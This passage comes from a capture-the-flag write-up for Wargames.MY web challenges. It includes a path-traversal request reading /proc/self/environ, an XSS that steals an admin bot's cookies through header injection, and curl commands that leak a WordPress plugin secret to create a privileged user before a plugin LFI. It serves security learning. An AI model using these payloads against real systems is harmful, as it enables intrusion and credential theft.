The functionality of the server is minimal as it only serves static files. However, browsing to github shows that it contains a local file inclusion (lfi) vulnerability when there is a wildcard (*). This matches our code allowing us to read the environment variables from “/proc/self/environ”.
Solution
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
import requests import re
URL = "http://dart.wgmy/"
r = requests.get(URL + "..%2f..%2f..%2f..%2f..%2f..%2fproc%2fself%2fenviron")
Built a file sharing website using ChatGPT! Feel free to try it!
Analysis
The application allows you to upload files and subsequently share its download link by supplying its unique identifier. The application also hosts a bot where you can ask it to visit links. The goal of the challenge is to send a XSS payload to the admin bot as the flag is stored in the admin dashboard. Everything seemed secure except download.php.
When visiting a file with a valid id, it is downloaded immediately as the header 'Content-Disposition: attachment;' is set. Furthermore, it sets the Content-Type header as text/html. This would be useful later on. However, the application allows users to control the downloaded file name through ;filename="' . $_POST["name"].
When supplying a character such as new line (%0A) as the filename, the application would remove this header and display the file directly as it is no longer an attachment.
After grabbing its id, we would send the bot our mallicious website which contains a script to perform the attack. It will open a window to the download page and make it “download” our file through a rogue form with a malformed name (%0A). This makes the browser render the file instead of actually downloading it, causing the XSS to fire and steal its cookies.
After sending it to the bot, we receive its cookies.
wgmy{2e51ed84b09a65cec62b50ce8bc7e57c}
[Web] WordMarket
Description
I’ve set up a WordPress eCommerce site for a client. Can you check if it’s secure enough for production? Give it a look and see if anything stands out.
Analysis
The application is a WordPress site with WooCommerce and two plugins installed. One of it is cities-shipping-zones-for-woocommerce while the other one is a custom plugin. We will focus on the custom plugin first.
The route registers a rest API that allows users to register a WordPress user given that they know a secret value.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
add_action( 'rest_api_init', function () { register_rest_route( 'wgmy/v1', '/add_user', array( 'methods' => 'POST', 'callback' => 'user_creation_menu', 'permission_callback' => '__return_true', ) ); } ); function user_creation_menu(){ if (isset($_POST["role"]) && isset($_POST["login"]) && isset($_POST["password"]) && isset($_POST["email"]) && isset($_POST["secret"])) { if (get_option('wgmy_secret') == $_POST["secret"]){ ... $user = new WP_User($user_id); ... } }
However, there is a convenient route which reveals the secret to us as its not protected by authentication due to add_action("wp_ajax_nopriv_get_config", "get_config");.
function get_config(){ if (isset($_POST["switch"]) && $_POST["switch"] === "1") { $secret_value = get_option('wgmy_secret'); if ($secret_value) { echo json_encode(array('secret' => $secret_value)); } else { echo json_encode(array('error' => 'Secret not found.')); } } }
Sending a POST request to this endpoint reveals the secret, allowing us to register a user and login.
1 2 3 4 5 6
curl -X POST -d 'action=get_config&switch=1' http://46.137.193.2/wp-admin/admin-ajax.php
{"secret":"owoE3Yx0h61pwosXyno2FiOtVe9CaHd6lx"}
curl -X POST -d 'role=shop_manager&login=sh4n&password=sh4n&email=sh4n@sh4n.com&secret=owoE3Yx0h61pwosXyno2FiOtVe9CaHd6lx' 'http://46.137.193.2/index.php?rest_route=/wgmy/v1/add_user/' {"message":"User created successfully!","user_id":19}
Now we can focus on the other plugin which is cities-shipping-zones-for-woocommerce. The README file shows that its version is 1.2.7 while the latest version is 1.2.9.
1 2 3 4 5 6 7 8 9
=== Cities Shipping Zones for WooCommerce === Contributors: condless Tags: dropdown, city, shipping zone, shipping method Requires at least: 5.2 Tested up to: 6.5 Requires PHP: 7.0 Stable tag: 1.2.7 License: GPLv2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html
The plugin page indicates that version 1.2.7 contains a vulnerability which is later confirmed by a patchstack post giving credit to the challenge author on discovering the LFI vulnerability.
As the flag is located in the root directory of the filesystem, we will exploit this to read the flag.
1
COPY plugins/flag.php /flag.php
Solution
After downloading the latest version and diffing it with the vulnerable version, we discover where the LFI vulnerability lies.
The old version does not sanitise or validate the $_POST['wc_csz_set_zone_country'] variable and includes the file, while the newest version does some validation on it.
This allows us to submit wc_csz_set_zone_country as a LFI payload to read the flag.